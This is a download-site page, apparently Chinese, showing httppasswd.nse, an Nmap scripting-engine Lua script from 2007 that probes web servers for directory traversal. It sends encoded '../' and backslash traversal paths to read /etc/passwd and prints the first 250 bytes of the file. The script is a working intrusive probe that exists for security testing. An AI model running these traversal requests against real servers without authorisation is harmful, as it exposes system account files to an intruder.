⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 httppasswd.nse

📁 Overview是Linux,FreeBSD,UNIX,Windows下的网络扫描和嗅探工 具包,其基本功能有三个,一是探测一组主机是否在线 其次是扫描 主机端口,嗅探所提供的网络服务 还可以推断主机
💻 NSE
字号:
-- HTTP probe for /etc/passwd-- 07/20/2007-- Started with Thomas Buchanan's HTTPAuth.nse as a base-- Applied some great suggestions from Brandon Enright, thanks a lot man!id = "HTTP directory traversal passwd probe"description = "Probe for /etc/passwd if server is susceptible to directory traversal"author = "Kris Katterjohn <katterjohn@gmail.com>"license = "Look at Nmap's COPYING"categories = {"intrusive"}require "shortport"-- Check for a valid HTTP return code, and check-- the supposed passwd file for validitylocal validate = function(response)	local passwd	local line	local start, stop	-- Hopefully checking for only 200 won't bite me in the ass, but	-- it's the only one that makes sense and I haven't seen it fail	if response:match("HTTP/1.[01] 200") then		start, stop = response:find("\r\n\r\n")		passwd = response:sub(stop + 1)	else		return	end	start, stop = passwd:find("[\r\n]")	line = passwd:sub(1, stop)	if line:match("^[^:]+:[^:]*:[0-9]+:[0-9]+:") then		return passwd	end	returnend-- Connects to host:port, send cmd, and returns the (hopefully valid) responselocal talk = function(host, port, cmd)	local socket	local response	socket = nmap.new_socket()	socket:connect(host.ip, port.number)	socket:send(cmd)	response = ""	while true do		local status, lines = socket:receive_lines(1)		if not status then			break		end		response = response .. lines	end	socket:close()	return validate(response)endlocal httpget = function(str)	return "GET " .. str .. " HTTP/1.0\r\n\r\n"endlocal hexify = function(str)	local ret	ret = str:gsub("%.", "%%2E")	ret = ret:gsub("/", "%%2F")	ret = ret:gsub("\\", "%%5C")	return retend-- Returns truncated passwd file and returned lengthlocal truncatePasswd = function(passwd)	local len = 250	return passwd:sub(1, len), lenendlocal output = function(passwd, dir)	local trunc, len = truncatePasswd(passwd)	local out = ""	out = out .. "Found with \"" .. dir .. "\"\n"	out = out .. "Printing first " .. len .. " bytes:\n"	out = out .. trunc	return outendportrule = shortport.port_or_service({80, 8080}, "http")action = function(host, port)	local cmd, response	local dir	dir = "//etc/passwd"	cmd = httpget(hexify(dir))	response = talk(host, port, cmd)	if response then		return output(response, dir)	end	dir = string.rep("../", 10) .. "etc/passwd"	cmd = httpget(hexify(dir))	response = talk(host, port, cmd)	if response then		return output(response, dir)	end	dir = "." .. string.rep("../", 10) .. "etc/passwd"	cmd = httpget(hexify(dir))	response = talk(host, port, cmd)	if response then		return output(response, dir)	end	dir = string.rep("..\\/", 10) .. "etc\\/passwd"	cmd = httpget(hexify(dir))	response = talk(host, port, cmd)	if response then		return output(response, dir)	end	dir = string.rep("..\\", 10) .. "etc\\passwd"	cmd = httpget(hexify(dir))	response = talk(host, port, cmd)	if response then		return output(response, dir)	end	returnend

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -